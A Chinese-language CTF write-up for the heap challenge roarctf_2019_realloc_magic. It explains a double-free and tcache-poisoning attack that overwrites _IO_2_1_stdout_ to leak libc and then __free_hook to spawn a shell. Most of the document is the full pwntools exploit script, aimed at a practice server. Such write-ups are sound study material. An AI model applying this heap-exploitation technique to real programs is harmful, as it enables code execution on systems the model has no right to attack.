free没有限制,可以多次free
使用realloc进行内存分配,没有限制大小
realloc的几个特殊用法(摘自官方WP)
size == 0 ,这个时候等同于free
realloc_ptr == 0 && size > 0 , 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉
由于本题没有show功能,因此我们要想泄露libc的地址就需要通过修改_IO_2_1_stdout_
来实现
因此第一步我们需要想办法让_IO_2_1_stdout_
留在tcache的fd处,这样就能分配到这个地方进行修改
过程如下
_IO_2_1_stdout_
的地址),这里需要爆破一位。当然,我们在调试的时候可以强行修改内存,如下set (long long)0x55c1fee5d2e0=0x7fae9fb1d760
完成这一步之后,我们就需要把_IO_2_1_stdout_
申请出来了,从而泄露libc地址,使用tcache poisoning就能分配出来,过程如下
_IO_2_1_stdout_
,我们填入p64(0xfbad1887)+p64(0)*3+p8(0x58)
_IO_read_xxx
的部分用0填充,并把_IO_write_base
的最低一个byte置为0x58,这样他就指向了_IO_2_1_stderr_+216
,其中存储着 _IO_file_jumps
的地址,根据它我们就能计算出libc地址得到泄露地址之后,我们还需要把tcache填满,申请不同大小的chunk然后realloc(0)释放就行,如下
realloc(0x120,'a')
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x170,'a')
realloc(0,'')
完成这步后,我们故伎重演,realloc(0x130)又释放,realloc(0x120)又realloc(0x260),把chunk 大小0x130的size改为0x41,把fd改为__free_hook-8
,把它释放之后realloc(0x130),realloc(0)realloc(0x130,’/bin/sh\x00’+p64(system))就覆盖了__free_hook
,这时候我们执行delete()操作就能获得shell了
from pwn import *
#r = remote("node3.buuoj.cn", 25009)
#r = process("./roarctf_2019_realloc_magic")
elf = ELF("./roarctf_2019_realloc_magic")
libc = ELF('./libc/libc-2.27.so')
def realloc(size, content):
r.recvuntil(">> ")
r.sendline('1')
r.recvuntil("Size?\n")
r.sendline(str(size))
r.recvuntil("Content?\n")
r.send(content)
def delete():
r.recvuntil(">> ")
r.sendline('2')
def back():
r.recvuntil(">> ")
r.sendline('666')
def pwn():
realloc(0x70,'a')
realloc(0,'')
realloc(0x100,'b')
realloc(0,'')
realloc(0xa0,'c')
realloc(0,'')
realloc(0x100,'b')
[delete() for i in range(7)] #fill tcache
realloc(0,'') #to unsortbin fd->arena
realloc(0x70,'a')
realloc(0x180,'c'*0x78+p64(0x41)+p8(0x60)+p8(0x87))#overlap
realloc(0,'')
realloc(0x100,'a')
realloc(0,'')
realloc(0x100,p64(0xfbad1887)+p64(0)*3+p8(0x58))#get _IO_2_1_stdout_ change flag and write_base
#get_libc
libc_base = u64(r.recvuntil("\x7f",timeout=0.1)[-6:].ljust(8,'\x00'))-0x3e82a0 # _IO_2_1_stderr_+216 store _IO_file_jumps
if libc_base == -0x3e82a0:
exit(-1)
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one_gadget=libc_base + 0x4f322
r.sendline('666')
realloc(0x120,'a')
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x170,'a')
realloc(0,'')
realloc(0x130,'a')
[delete() for i in range(7)]
realloc(0,'')
realloc(0x120,'a')
realloc(0x260,'a'*0x128+p64(0x41)+p64(free_hook-8))
realloc(0,'')
realloc(0x130,'a')
realloc(0,'')
realloc(0x130,'/bin/sh\x00'+p64(system))
delete()
r.interactive()
if __name__ == "__main__":
while True:
r = remote("node3.buuoj.cn", 27636)
try:
pwn()
except:
r.close()